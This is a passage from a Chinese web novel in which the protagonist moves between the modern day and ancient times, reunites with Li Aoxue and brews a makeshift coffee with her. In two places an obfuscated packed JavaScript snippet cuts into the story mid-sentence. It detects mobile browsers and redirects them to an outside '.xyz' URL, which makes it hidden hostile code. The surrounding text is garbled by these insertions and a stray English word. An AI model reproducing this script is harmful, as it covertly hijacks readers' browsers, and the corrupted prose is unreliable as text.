“若能回去,我会想念这里吗?会想念傲雪吗?”这个念头刚一浮现,李傲雪的音容笑貌便立刻在他脑海中清晰呈现。他不禁苦笑,原来不知不觉间,李傲雪已在他心中占据了如此重要的位置。可现代的生活、熟悉的家人朋友,同样让他难以割舍。 在这纠结与困惑中,肖晨缓缓躺下,望着墙上的画,眼神逐渐变得迷离。不知过了多久,他在混乱的思绪中渐渐睡去。 肖晨刚陷入梦乡,那束神秘的光便陡然亮起,光芒之中,一位白发苍苍的老者缓缓浮现。肖晨一惊,忙问道:“你是谁?”老者面容和蔼,眼中透着洞悉一切的睿智,缓缓说道:“这个你无需知晓,我不过是在此等待有缘人罢了。你来到古代,与那女子确有一段不解的情缘。如今你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993181|178041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 渴望回家,鉴于你对她温柔以待,心怀善意,只要你想回去,对着那幅画,在心中默念‘520’,便可如愿。” 话音刚落,肖晨只觉眼前光芒一闪,整个人瞬间从睡梦中惊醒。睁眼一看,熟悉的现代房间映入眼帘,周遭的一切竟与自己进入画中的那一刻丝毫不差,仿佛时间从未流逝。他恍惚间觉得自己做了一场冗长而又奇幻的梦,但心中对李傲雪的思念却如此真实。 此时,他才惊觉自己的灵魂已然回归,又变回了原本的自己。只是经历了这一番奇遇,他的心境已悄然改变,那个遥远古代的女子,已在他心底留下了难以磨灭的印记。他回味着与李傲雪相处的点点滴滴,心中五味杂陈,不知何时才能再次见到她,亦或是,这段缘分就此画上句点…… 肖晨起身打开灯,暖黄色的灯光瞬间填满了狭小的出租屋。他环顾四周,屋内的一切都如往昔般熟悉,每一件物品都静静待在原来的位置,仿佛他从未离开过。那幅李傲雪的画,依旧安放在墙角,保存得完好无损,画中的女子巧笑嫣然,栩栩如生,似乎还带着古代的温婉与灵动。 肖晨轻轻走到画前,凝视着画中李傲雪的模样,心中百感交集。过往在古代与她相处的种种画面如电影般在脑海中一一闪过,那些欢笑、羞涩、深情的瞬间,是如此真实又遥远。 良久,他轻叹一口气,转身坐到床边,习惯性地拿起手机。屏幕亮起,各种软件图标映入眼帘,他鬼使神差地点开了视频软件,页面跳转,电视剧的画面出现,熟悉的剧情和声音在耳边响起。他就这样呆呆地看着,思绪却有些飘忽,追剧的心思已大不如前。 此刻的电视剧情节在他眼中似乎变得平淡无奇,他的脑海中总是不由自主地浮现出李傲雪的身影。他知道,自己看似回归了原本的生活,可心却已在那个遥远的古代,遗落了一部分在李傲雪身上。在这看似平常的出租屋里,他的生活,已然悄然改变。 肖晨迷迷糊糊地就这样睡去了,一夜无梦。第二天清晨,闹钟清脆的铃声准时响起,将她从睡梦中唤醒。她揉了揉惺忪的睡眼,意识还有些模糊,恍惚间还以为自己仍身处古代。 毕竟在古代当了那么久男人,习惯一时难以改变。她起身,看着身上那件可爱的卡通睡衣,一时间竟有些不适应。略作停顿后,她还是走进衣柜,挑选了一件连衣裙换上。连衣裙简约而优雅,轻柔的面料贴合着身体,让她找回了身为现代女性的熟悉感。 换好衣服后,她来到洗漱间,对着镜子开始洗漱。看着镜子中自己熟悉的面容,却又觉得好像经历了一场漫长的蜕变。洗漱完毕,她整理了一下头发,便迈着轻快的步伐下楼去吃早餐。 楼下的早餐店依旧热闹非凡,熟悉的食物香气扑面而来。她点了一份豆浆和油条,坐在角落安静地吃着。周围人们的交谈声、餐具的碰撞声交织在一起,这熟悉的市井气息让她逐渐融入到现代生活的节奏之中。 吃完早餐,肖晨正准备起身离开,手机“叮咚”一声响了。她掏出手机,点开微信,发现是子涵发来的消息,上面写着:“宝,今天有空不,出来一起玩呀!”看到这条消息,肖晨竟生出一种恍若隔世的感觉,仿佛距离自己和子涵日常联络,已经过了一个世纪那么久。 肖晨微微愣神,随即回复道:“行呀,老地方见?”子涵几乎是秒回:“没问题,网吧等你,不见不散!” 肖晨来到网吧,一眼就瞧见了坐在角落位置向她招手的子涵。子涵穿着一身休闲装,头发随意地扎在脑后,脸上洋溢着熟悉的热情笑容。看到肖晨,她兴奋地挥着手,大声喊道:“这儿呢!” 肖晨快步走过去,在子涵旁边的机位坐下。子涵好奇地打量着她,说道:“感觉你今天有点不一样啊,是不是发生什么事了?”肖晨心中一惊,忙笑着掩饰道:“哪有,能有什么事,估计是没睡好吧。”子涵撇撇嘴,半信半疑地说:“好吧,我还以为你背着我偷偷去干啥大事了呢。不说这个了,今天咱们玩点啥?” 肖晨看着子涵那熟悉又充满活力的模样,心中感慨万千。在经历了古代的一切后,此刻与子涵相聚在网吧,这种现代生活的平凡与热闹,竟让她感到既亲切又有些陌生。她深吸一口气,说道:“老样子,玩咱们最擅长的游戏呗!”子涵眼睛一亮,兴奋地搓搓手,说道:“好呀,今天一定要大杀四方!”说罢,两人熟练地打开电脑,登录游戏,投入到紧张刺激的虚拟世界中,暂时忘却了一切烦恼与思绪。 这一玩起来,肖晨和子涵彻底沉浸其中,完全忘记了时间的流逝。电脑屏幕上,王者荣耀的战局激烈万分,两人紧密配合,在游戏世界里冲锋陷阵。从阳光透过网吧窗户洒在键盘上,到天色渐渐暗沉,夜幕悄然降临,他们依旧全神贯注。 终于,咕咕叫的肚子打破了这份专注。肖晨揉了揉饿扁的肚子,恋恋不舍地说道:“咱们吃完饭再来玩吧,这肚子都快抗议了。”子涵同样饿得不行,连连点头:“行啊,咱们就去大排档吧,顺便买点好吃的带回去,边玩边吃,那才叫爽。” 两人关闭电脑,走出网吧。夜晚的街道灯火通明,热闹非凡。他们来到常去的大排档,找了个空位坐下。老板热情地过来招呼,两人点了几道爱吃的家常菜,又要了些烤串。不一会儿,热气腾腾的饭菜和香气四溢的烤串就端上了桌。 肖晨和子涵迫不及待地大快朵颐起来。子涵一边吃着烤串,一边含糊不清地说:“今天玩得真过瘾,感觉好久都没这么畅快了。”肖晨咽下嘴里的饭菜,笑着说:“是啊,不过光顾着玩,差点把肚子饿坏了。”两人边吃边聊,笑声在大排档里回荡。 吃完饭,他们又去旁边的便利店买了些薯片、饮料等零食。肖晨拎着满满一袋食物,对子涵说:“走吧,回去接着‘战斗’。”子涵笑着点头,两人脚步轻快地往网吧走去,准备继续享受这充满乐趣的夜晚时光。 回到网吧,两人迅速在机位前坐下,再次开启王者荣耀的对战之旅。有了美食相伴,她们玩得更加尽兴。子涵操作着英雄在峡谷中灵活穿梭,嘴里还不忘指挥:“肖晨,你去支援下路,我在上路扛着,等你绕后包抄。”肖晨应了一声,专注地操控角色向下路奔去。 一局又一局,她们配合愈发默契,胜利的喜悦不断在心头蔓延。但游戏并非总是一帆风顺,在一次团战中,由于敌方配合精妙,她们不幸失利。子涵懊恼地拍了下桌子:“哎呀,刚才我应该先开大招的,失误失误。”肖晨安慰道:“没事没事,这局输了下局再赢回来,咱们总结经验,调整战术。” 短暂调整后,她们重振旗鼓,再次投入战斗。这一次,她们更加谨慎,仔细观察敌方动向。肖晨看准时机,率先突进敌方后排,一套技能打出高额伤害,子涵紧跟其后,补上关键输出,成功团灭敌方,拿下这一局。两人兴奋地击掌庆祝,引得周围人纷纷侧目。 随着时间推移,网吧里的人渐渐少了,可肖晨和子涵依旧沉浸在游戏的世界里。突然,肖晨的手机屏幕亮起,是家里人发来的消息,提醒她时间不早,注意安全。肖晨看了眼时间,惊讶地发现已经快到凌晨。她把子涵的耳机摘下,无奈地说:“不行啦,这么晚了,咱们该回去了,不然家里人该担心了。” 子涵意犹未尽地伸了个懒腰,说道:“好吧好吧,今天玩得太嗨,都没注意时间。”两人收拾好东西,走出网吧。夜晚的街道格外宁静,与网吧内的热闹形成鲜明对比。她们一边走着,一边回味着今晚的游戏过程,讨论着哪些操作可以更完美。走到路口,两人相互道别,约定下次再一起痛痛快快玩一场。肖晨带着满足与疲惫,慢慢朝家的方向走去,今天与子涵在网吧的时光,让她暂时忘却了古代那段奇幻经历带来的复杂情绪,重新找回了现代生活的简单快乐。 21. 给她制作咖啡喝 肖晨回到出租屋,屋内寂静无声。她打开灯,温暖的光线驱散了黑暗。稍作休息后,她掏出手机,给父母发消息报平安:“爸妈,我今天挺好的,你们别担心。”发完消息,她把手机扔到一旁,瘫坐在沙发上,思绪渐渐蔓延开来。 大学毕业已有一段时间,身边的同学大多都投身职场,过起了“996”的忙碌生活。可肖晨却丝毫没有找工作的打算,她实在不愿将自己的生活捆绑在那种高强度、按部就班的工作模式里。在她看来,“996”虽然可能带来稳定的收入和所谓的“光明前途”,但却要牺牲大量的个人时间与自由。 她渴望的,是一种能真正做自己喜欢之事的生活。也许是拿起画笔,描绘心中的山川湖海;也许是阅读一本本好书,在文字的世界里肆意遨游;又或许是背上背包,踏上未知的旅程,去邂逅不同的风景与人。她觉得,生活不应只有一种模样,每个人都应有权选择自己想要的方式去度过。 想到这里,肖晨起身走到窗前,望着窗外城市的夜景,心中愈发坚定。她深知自己的想法或许不被所有人理解,但那又何妨?人生短暂,她只想在有限的时光里,追寻内心的热爱,过好属于自己的独特生活,去书写属于自己的精彩篇章。 肖晨的目光不由自主地又落在那幅李傲雪的画上。她缓缓伸出手,轻轻抚摸着画中李傲雪的面容,指尖仿佛能感受到那细腻笔触下蕴藏的温度。 此刻,她的内心被深深的忧虑填满。自己已然回到现代,可那个留在古代的躯体,又该何去何从?没有了灵魂的寄宿,它是否就如同失去生机的躯壳,走向死亡? 一想到李傲雪可能会面对自己“身死”的残酷现实,肖晨的心就像被一只无形的手紧紧揪住,疼痛难忍。她仿佛能看见李傲雪那满是惊恐与悲伤的双眼,泪水潸然落下,在那陌生的古代世界里,独自承受着失去的痛苦。 “不行,不能让她这样……”肖晨喃喃自语,心中五味杂陈。她迫切地想要知道古代那边究竟发生了什么,可眼前只有这一幅画,除此之外,没有任何线索与途径能让她得知那边的情况。 肖晨虽满心忧虑,但好不容易回到现代,内心还是忍不住想要先放松几日。“先不想那些烦心事了,好不容易回来,还没快活两天呢,先玩玩再说。”她这般安慰着自己,而后缓缓躺下,在复杂的思绪中渐渐睡去。 第二天清晨,阳光透过窗户轻柔地洒在肖晨脸上。她悠悠转醒,伸了个懒腰,洗漱完毕后,对着镜子给自己一个元气满满的微笑。她深知不能一直这样无所事事,思索一番后,决定出门先找个兼职做。 换好衣服,肖晨走出出租屋,外面的世界阳光明媚,微风轻拂。她来到附近热闹的商业街,街道两旁店铺林立,人来人往。她一家一家店铺询问是否需要兼职人员,然而得到的大多是婉拒的答复。但肖晨并未气馁,继续一家接着一家询问。 终于,在一家温馨的咖啡店,老板打量了一下肖晨,说道:“看你挺机灵的,我们这儿正好缺个兼职店员,主要负责收银和帮忙做些简单的饮品,你愿意试试吗?”肖晨眼睛一亮,连忙点头:“愿意愿意,我可以的!”老板笑着说:“行,那你今天就可以上班,先跟着其他店员熟悉下流程。” 肖晨满心欢喜地走进咖啡店,开启了她在现代的兼职生活。尽管这份工作对她来说是全新的挑战,但她决心好好努力。 肖晨精神饱满地开启了兼职的一天。她站在收银台前,努力学习如何操作收银系统,眼睛紧紧盯着屏幕,耳朵认真听着老店员的讲解,生怕错过任何一个细节。制作饮品时,她全神贯注地看着店员演示,从研磨咖啡豆,到精确地控制水温、冲泡,每一个步骤都深深印在她脑海里。 工作间隙,她看着那一杯杯散发着浓郁香气的咖啡,思绪不由自主地飘到了古代的李傲雪身上。她心想:“要是能把这咖啡带到古代给她尝尝,她一定会很惊喜吧。她肯定会喜欢这种独特又迷人的味道。”想到李傲雪可能露出的好奇与欢喜的神情,肖晨的嘴角不自觉地上扬。 然而,笑容很快从她脸上褪去,取而代之的是深深的遗憾。她清楚地知道,自己只有灵魂能穿越到古代,根本没办法实实在在地把咖啡带过去。这种无力感让她有些失落,只能在心中幻想李傲雪品尝咖啡的美好场景。但她很快又振作起来,告诉自己先做好当下的工作,说不定之后会有办法让李傲雪也能感受这份特别的味道。 一天的兼职工作在忙碌中悄然度过。肖晨手脚愈发麻利,不仅收银零差错,调制的咖啡也有模有样,得到了老板和顾客的夸赞。下班后,她带着一身疲惫却又满心充实回到出租屋。 刚一进门,她的目光便又被那幅李傲雪的画吸引。画上的人儿依旧浅笑盈盈,似乎在诉说着无尽的思念。肖晨走到画前,轻轻叹了口气:“傲雪,今天工作的时候,我满脑子都想着你要是能喝到咖啡该多好。” 她突然灵机一动,心想:虽然不能把咖啡带到古代,但可以把制作咖啡的方法告诉李傲雪呀。于是,肖晨赶忙找出纸笔,开始详细记录制作咖啡的步骤。从咖啡豆的挑选、研磨,到水温的把控、冲泡的技巧,她写得极为细致,甚至还画了简单易懂的示意图。 “希望这能让你在那边也能品尝到咖啡的滋味。”肖晨一边写,一边喃喃自语。写好后,她小心翼翼地将纸张放在画旁,仿佛这样李傲雪就能马上看到。 躺在床上,肖晨翻来覆去难以入眠。她想着,下次穿越回去,一定要找个合适的时机把制作咖啡的方法交给李傲雪。同时,她也担心古代的“自己”是否安好,李傲雪这些日子又是怎样度过的。 好不容易迷迷糊糊睡去,肖晨又梦到了那个熟悉的古代场景。青山绿水间,李傲雪穿着淡雅的衣衫,正站在庭院中翘首以盼。看到肖晨出现,她眼中满是惊喜,快步迎上来。肖晨笑着拿出那张记录咖啡制作方法的纸,李傲雪好奇地接过,认真看着,脸上洋溢着期待的笑容…… 肖晨在梦里醒来后,辗转反侧难以入眠,满脑子都是古代的种种,尤其是李傲雪的身影。终于,她再也按捺不住,起身再次来到李傲雪画像面前。她深吸一口气,在心中默默念出“520”。刹那间,那束神秘的光再次亮起,强大的吸引力将她瞬间吞没。 等肖晨回过神来,发现自己已然回到了古代,重新占据了原身的躯壳。此时,她正躺在床上,缓缓睁开眼睛,熟悉的古色古香的房间映入眼帘。她一眼就看到墙上挂着的那幅李傲雪的画,思绪瞬间回到离开之时,记得那时李傲雪去准备洗澡了。 肖晨赶忙起身,整理了一下衣衫,心中满是对李傲雪的牵挂。不知自己离开的这段时间,她有没有担心,有没有发生什么事。她快步走出房间,在院子里四处寻找李傲雪的身影。 庭院中,微风轻拂,花草摇曳,却不见李傲雪的踪迹。肖晨的心不禁揪了起来,一种莫名的不安涌上心头。她加快脚步,朝李傲雪平时常去的地方走去,嘴里轻声呼唤着:“傲雪,傲雪你在哪儿?” 李傲雪刚沐浴完毕,正用手帕轻轻擦拭着湿漉漉的长发,忽听到肖晨急切的呼唤声。她心中一喜,赶忙顺着声音传来的方向快步走去,脆生生地回应道:“少爷,我在这里。” 肖晨循声望去,只见李傲雪身着一件素色的睡衣,发丝还滴着晶莹的水珠,顺着白皙的脖颈缓缓滑落,整个人透着一种出尘的清新与柔美。肖晨悬着的心瞬间落了地,嘴上却忍不住嗔怪道:“你洗澡怎么那么久?” 李傲雪微微一愣,随即脸颊泛起一抹红晕,轻声解释道:“少爷,方才沐浴时,我想着少爷为我画的那幅画,一时间出了神,这才耽搁了些时间。”说着,她抬眸看向肖晨,眼中满是羞涩与深情。 肖晨心中一动,想起自己在现代对李傲雪的牵挂,还有那想要教她制作咖啡的念头,不禁 softened 了语气,说道:“罢了,下次可别这样了,我方才找不到你,心中很是担忧。”说罢,他走上前,轻轻握住李傲雪的手,仿佛只有这样,才能确定她真实地在自己身边。 李傲雪感受着肖晨掌心的温度,心中满是甜蜜,轻轻点了点头。肖晨看着她湿漉漉的头发,转身走到一旁的架子上,拿起一条干毛巾,温柔地说:“过来,我帮你把头发擦干,这样湿着容易着凉。” 李傲雪顺从地走到肖晨身前,微微低下头。肖晨轻轻抬起手,用毛巾轻柔地擦拭着她的长发,动作小心翼翼,仿佛在对待一件无比珍贵的宝物。他一边擦,一边说道:“傲雪,我有件奇妙的事想与你分享。” 李傲雪好奇地抬起头,眼中闪烁着期待的光芒:“少爷,何事如此奇妙?”肖晨思索片刻,缓缓开口:“你知道吗,在另一个奇妙的世界里,有一种饮品叫咖啡,味道独特且香气浓郁。我想着,若能让你也尝尝,那该多好。” 李傲雪露出疑惑的神情:“咖啡?那是何种饮品,为何我从未听闻?”肖晨微笑着耐心解释:“咖啡是由一种特殊的豆子研磨冲泡而成,它的味道有些许苦涩,却又带着醇厚的香气,细品之下,还会有回甘。在那个世界,人们都很喜爱它。” 李傲雪听得入神,眼中满是向往:“少爷,听起来好神奇,真希望能尝尝这咖啡的滋味。”肖晨宠溺地笑了笑:“我虽无法立刻变出咖啡,但我记住了制作方法。明日,我们便去找找看,这古代有没有类似的豆子,尝试着做出来。” 李傲雪兴奋地连连点头:“好呀,少爷,有你相伴,不管做什么都令人期待。”两人相视一笑,在这宁静的夜晚,彼此的心靠得更近了。 肖晨一边轻轻擦拭着李傲雪的头发,一边神情认真地说道:“傲雪,这咖啡是你我二人之间的秘密,可不能告诉别人。” 李傲雪眨了眨明亮的眼睛,一脸郑重地点头:“少爷放心,傲雪定不会将此事透露分毫。这是只属于我们的奇妙之事,我会好好藏在心底。”她心中满是欢喜,能与肖晨拥有这样独特的秘密,让她觉得两人的关系愈发亲密无间。 肖晨看着李傲雪乖巧的模样,忍不住轻轻刮了下她的鼻尖,笑道:“你呀,如此冰雪聪明,我自是信你的。这咖啡在另一个世界虽常见,但于咱们这儿,可是独一无二的新鲜事物。若是传了出去,只怕会生出许多事端。” 李傲雪若有所思地应道:“少爷所言极是,人多嘴杂,万一被心怀不轨之人知晓,怕是会给我们带来麻烦。傲雪定会守口如瓶。” 肖晨轻柔地梳理着李傲雪的长发,目光满是爱意,由衷赞叹道:“你这头发柔顺,又黑又长,看来你以前很爱护自己的头发。” 李傲雪微微颔首,脸颊浮现出一抹娇羞的红晕,轻声说道:“少爷谬赞了,不过是日常用心打理罢了。自小母亲便教导我,女子的头发如丝缕般珍贵,需悉心呵护。我便一直记在心上,不敢懈怠。” 肖晨微笑着,手上的动作愈发轻柔,宛如对待世间最精致的绸缎:“难怪如此,这一头秀发,当真是为你增色不少。每次看到,都觉得你愈发温婉动人。” 李傲雪听闻,心中像揣了只小鹿般怦怦直跳。她抬眸看向肖晨,眼中波光流转:“能得少爷喜爱,傲雪满心欢喜。日后,傲雪会更加用心,不负少爷夸赞。” 肖晨凝望着眼前娇羞动人的李傲雪,爱意如潮水般在心中翻涌,情不自禁地缓缓靠近,轻轻吻住了她。李傲雪身子微微一颤,随即闭上双眼,沉浸在这突如其来却又满含深情的一吻中。 然而,片刻之后,肖晨缓缓松开了她。尽管内心爱意澎湃,但他终究还是克制住了,没有再进一步。他在心中默默思忖:自己虽灵魂本是女子,可与李傲雪之间,爱情不应仅仅局限于身体的亲密接触。真正的爱,是灵魂与灵魂的交融,内心与内心的触碰,那才是爱的至高境界。 李傲雪缓缓睁开双眼,眼中犹带着未散尽的羞涩与迷离。她不解地看向肖晨,却在他的目光中读到了深沉的爱意与克制。肖晨轻轻握住她的手,温柔地说道:“傲雪,我爱你,这份爱无关其他,是灵魂深处对你的眷恋。我想,我们之间,更珍贵的是心与心的相知相惜。” 李傲雪眼中泛起感动的泪花,她轻轻靠在肖晨怀里,低声说道:“少爷,傲雪明白。能与少爷心意相通,便是傲雪此生最幸福之事。” 肖晨轻抚着李傲雪的发丝,声音中带着一丝忧虑与忐忑,缓缓问道:“如果我不能给你想要的幸福,你会不会怪我?” 李傲雪微微仰头,目光坚定且温柔地注视着肖晨,毫不犹豫地说道:“少爷,在傲雪心中,幸福并非是荣华富贵,也不是世间俗物。能与少爷相知相伴,谈天说地,便是傲雪最大的幸福。” 她轻轻握住肖晨的手,将其贴在自己的心口,深情地继续说道:“少爷的关怀、少爷的懂我,这一切早已填满了傲雪的心。即便未来日子平淡,或是遭遇艰难险阻,只要有少爷在身边,傲雪便无所畏惧,更不会怪罪少爷。” 肖晨听着李傲雪的肺腑之言,心中满是感动。他将李傲雪紧紧拥入怀中,感慨道:“傲雪,得你如此,是我此生之幸。我定不负你这份深情,倾尽所能,护你一世周全。” 两人静静地拥抱了一会儿,仿佛时间都为这份温情停留。随后,他们一同缓缓躺到床上。这一次,肖晨不再逃避心中的情感,主动朝着李傲雪靠过去,伸出有力的手臂,将她紧紧地搂在怀里。 李傲雪感受到肖晨那炽热而坚定的怀抱,心中满是甜蜜与安心。她微微仰头,看着肖晨的脸庞,在微弱的烛光映照下,肖晨的轮廓显得愈发温柔。她轻轻闭上眼,将头埋在肖晨胸前,倾听着他沉稳有力的心跳声,那节奏仿佛是一首为她而奏的专属乐章。 肖晨低下头,在李傲雪的发顶落下轻轻一吻,轻声说道:“傲雪,从今往后,无论发生什么,我都不会再放开你的手。”李傲雪微微点头,声音带着一丝哽咽:“少爷,傲雪也会一直陪伴在你身旁。” 在温馨的相拥中,两人渐渐沉入梦乡,一夜好眠。 第二天清晨,柔和的阳光透过窗棂,悄然洒落在床榻之上。李傲雪悠悠转醒,她轻手轻脚地起身,生怕惊扰到还在熟睡的肖晨。她望向身旁的肖晨,只见他面容安详,晨光勾勒出他俊朗的轮廓,心中满是柔情。 李傲雪轻手轻脚地走到一旁,像往常一样,仔细地准备好洗漱用品。她打来一盆温水,将毛巾浸湿后拧干,摆放整齐,又把牙具一一放置妥当。做完这一切,她静静地坐在一旁,眼神温柔地看着肖晨,等待他醒来。 不多时,肖晨也缓缓睁开了双眼,映入眼帘的便是李傲雪那含情脉脉的目光。他微微一愣,随即反应过来,脸上浮现出一抹温暖的笑意。他起身,走到洗漱架前,看着准备好的用品,心中满是感动,转头对李傲雪说道:“傲雪,有你在身边,真好。”李傲雪脸颊微红,轻声说道:“少爷醒来便好,快洗漱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993182|178041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧。” 肖晨一边洗漱,一边转头看着李傲雪,说道:“傲雪,今天咱们就开始找找制作咖啡所需的材料。虽说这与我知晓的那个世界大不相同,但我想,总能寻到些相似之物。” 李傲雪眼中闪烁着兴奋的光芒,用力点头道:“好呀,少爷。傲雪对这咖啡好奇极了,定当全力相助。只是,咱们该从何处找起呢?” 肖晨思索片刻,说道:“咖啡是由豆子研磨制成,咱们先去集市上看看,有没有类似咖啡豆的豆子。记得留意那些颜色、大小相近,且闻起来有独特香气的。” 两人简单用过早餐后,便携手前往集市。集市上热闹非凡,人来人往,叫卖声此起彼伏。他们穿梭在各个摊位之间,仔细搜寻着。肖晨拿起摊位上的豆子,放在鼻下轻嗅,再仔细观察其形状和色泽,却连连摇头。 李傲雪看着肖晨认真的模样,心中满是钦佩,也学着他的样子,一颗一颗地挑选。忽然,李傲雪在一个角落里发现了一袋豆子,颜色偏深,颗粒饱满,隐隐散发着一股特别的香气。她赶忙招手叫肖晨过来:“少爷,你快看看,这豆子是不是有些像你说的咖啡豆?” 肖晨快步走过来,拿起豆子端详许久,又闻了闻,眼中闪过一丝惊喜:“嗯,这豆子虽与咖啡豆不完全一样,但香气和模样都有几分相似,或许可以一试。” 他向摊主询问了豆子的来历,得知这豆子是从遥远的南方运来,当地人常用它煮水喝,有提神醒脑的功效。 肖晨毫不犹豫地买下了这袋豆子,与李傲雪满心欢喜地回到家中。一进家门,肖晨便迫不及待地开始准备研磨豆子的工具。他找出家中的石臼,将豆子小心翼翼地倒进去,开始一下一下地研磨。李傲雪则在一旁帮忙,眼神专注地看着肖晨的一举一动。 随着石臼的转动,豆子渐渐变成了细腻的粉末,散发出浓郁的香气。肖晨看着磨好的豆粉,心中充满期待,对李傲雪说道:“傲雪,接下来就是冲泡了,希望这味道能与咖啡有几分相像。” 李傲雪笑着点头,眼中满是信任与期待:“少爷定能成功,傲雪已经迫不及待想尝尝了。” 肖晨架起炉灶,在锅中倒入适量清水,待水煮沸后,将研磨好的豆粉缓缓倒入锅中,瞬间,一股别样的香气弥漫开来。他手持木勺,轻轻搅拌着,专注地盯着锅里的动静,仿佛正在进行一场至关重要的仪式。 李傲雪站在一旁,紧张地看着,鼻子贪婪地捕捉着空气中的味道,好奇这即将诞生的饮品究竟会是什么滋味。不多时,锅里的液体开始翻滚,泛起细腻的泡沫。肖晨赶忙熄了火,找来一块干净的纱布,将煮好的液体小心翼翼地过滤到碗中。 褐色的液体缓缓流入碗里,热气腾腾,散发着迷人的香气。肖晨把碗递给李傲雪,笑着说:“傲雪,你先尝尝,看看合不合口味。”李傲雪接过碗,轻轻吹了吹,小心翼翼地抿了一小口。 起初,那略带苦涩的味道在舌尖散开,她微微皱眉。但紧接着,一股醇厚的回甘涌上心头,伴随着独特的香气,让她不禁眼睛一亮。“少爷,这味道当真奇妙,虽与寻常饮品不同,却十分好喝!”李傲雪惊喜地说道。 肖晨见状,也赶忙尝了一口。熟悉又陌生的味道在口中散开,虽比不上现代正宗的咖啡,但在这古代,能有如此近似的滋味,已让他十分满足。“看来咱们这次尝试算是成功了!”肖晨兴奋地说道。 肖晨看着李傲雪一脸陶醉地品尝着“咖啡”,满是宠溺地说道:“你要是喜欢喝,以后就按照这个做法就行。” 李傲雪抬眸,眼中满是欢喜与依赖,“少爷,有你在,傲雪总能尝到这般新奇美味。只是这豆子,若用完了可如何是好?” 肖晨思索片刻,说道:“无妨,这豆子既然是从南方运来,想必当地产量不少。咱们可与那摊主商议,让他多进些货,确保咱们能时常喝到。” 李傲雪轻轻点头,“少爷考虑得周全。只是,这独特的饮品,真的只属于我们二人吗?傲雪有时想着,若能让更多人尝尝,也是极好的。” 肖晨微微一怔,随后笑着刮了下她的鼻尖,“你呀,心地总是这般善良。只是这咖啡制作方法独特,且这豆子来源并非容易,若是传出去,只怕会引起不必要的麻烦。但等日后咱们寻到稳定的豆子来源,再做打算也不迟。” 李傲雪乖巧地应了一声,“一切听少爷的。只要能与少爷一同品尝这美味,傲雪便心满意足了。” 两人又一同喝了几口“咖啡”,享受着这惬意的时光。 过了一会儿,肖晨起身说道:“傲雪,我去书房将这咖啡的制作过程详细记录下来,以免日后遗忘。你若无事,可来与我一同整理。” 李傲雪欣然起身,与肖晨携手走向书房。在书房中,肖晨铺纸研墨,将咖啡的制作步骤、选用豆子的特征以及冲泡技巧等一一书写下来。李傲雪则在一旁帮忙研磨。 肖晨仔细书写完毕,吹干墨迹,郑重地将记录着“咖啡”制作方法的纸张递给李傲雪,神情严肃地说道:“傲雪,你把这些方法都背好。这独特的技艺,咱们不能轻易示人,背熟之后,就将它烧毁,千万不要让其他人看见。” 李傲雪一脸认真地接过纸张,双眸紧紧盯着上面的字迹,逐字逐句地默读起来。她全神贯注,不放过任何一个细节,仿佛要将每一个字都刻进心里。肖晨在一旁静静地看着她,眼神中既有信任,又有一丝担忧。 过了好一会儿,李傲雪抬起头,眼中透着坚定:“少爷,傲雪已经背好了。”肖晨微微点头,“那便好,烧了吧。”李傲雪走到窗边的火盆旁,蹲下身子,再次确认自己记忆无误后,轻轻将纸张投入火盆。火苗迅速舔舐着纸张边缘,橘红色的火焰跳跃闪烁,不多时,那张记录着珍贵制作方法的纸便化为了灰烬。 李傲雪站起身,拍了拍手上的灰尘,看向肖晨:“少爷,傲雪定会将这方法深藏心中,不会让他人知晓半分。”肖晨走上前,握住她的手,欣慰地说:“我信你。这独特的饮品,是我们之间的珍贵回忆,就让它一直只属于我们。” 肖晨轻轻地拥抱着李傲雪,语气中满是期待地说道:“今天晚上就是灯节了,晚上你和玉溪早早地收拾好,我们一起去逛。” 李傲雪听闻,眼中顿时绽放出惊喜的光芒,她微微仰起头,看着肖晨,兴奋地说道:“真的吗,少爷?傲雪早就听闻灯节热闹非凡,一直盼着能去凑凑热闹呢。” 肖晨看着她那开心的模样,宠溺地笑了笑,说道:“当然是真的。这灯节一年也就一次,咱们可得好好去感受感受那热闹氛围。玉溪也很久没出去玩了,这次一起,你们肯定能玩得尽兴。” 李傲雪笑着点头,“那傲雪一会儿就去告知玉溪,让她也提前准备准备。少爷,您说,灯节上都有些什么好玩的呀?” 肖晨思索片刻,说道:“灯节嘛,自然是花灯最为出彩。各式各样的花灯挂满街头,有花鸟鱼虫造型的,还有神话故事主题的,五光十色,漂亮极了。还有猜灯谜,若是猜对了,还能赢得小奖品。另外,街边肯定也少不了各种特色小吃和有趣的杂耍表演。” 李傲雪听得津津有味,脸上洋溢着抑制不住的喜悦,“听起来就好有意思,傲雪已经迫不及待啦。” 肖晨轻轻刮了刮她的鼻子,说道:“别急,等晚上咱们好好去逛个够。现在你先去准备着,我也还有些事要处理。” 李傲雪乖巧地应了一声,便转身轻快地去找玉溪,准备一同迎接这令人期待的灯节之夜。 22. 知音难觅,灯会冲头 李傲雪很快找到了玉溪,将晚上去逛灯节的消息告诉了她。玉溪惊喜得跳了起来,拉着李傲雪的手说道:“小姐,真的吗?这可太好了,我早就想去看看灯节的热闹啦!”李傲雪笑着点头:“自然是真的,少爷特意交代,让我们早早准备呢。” 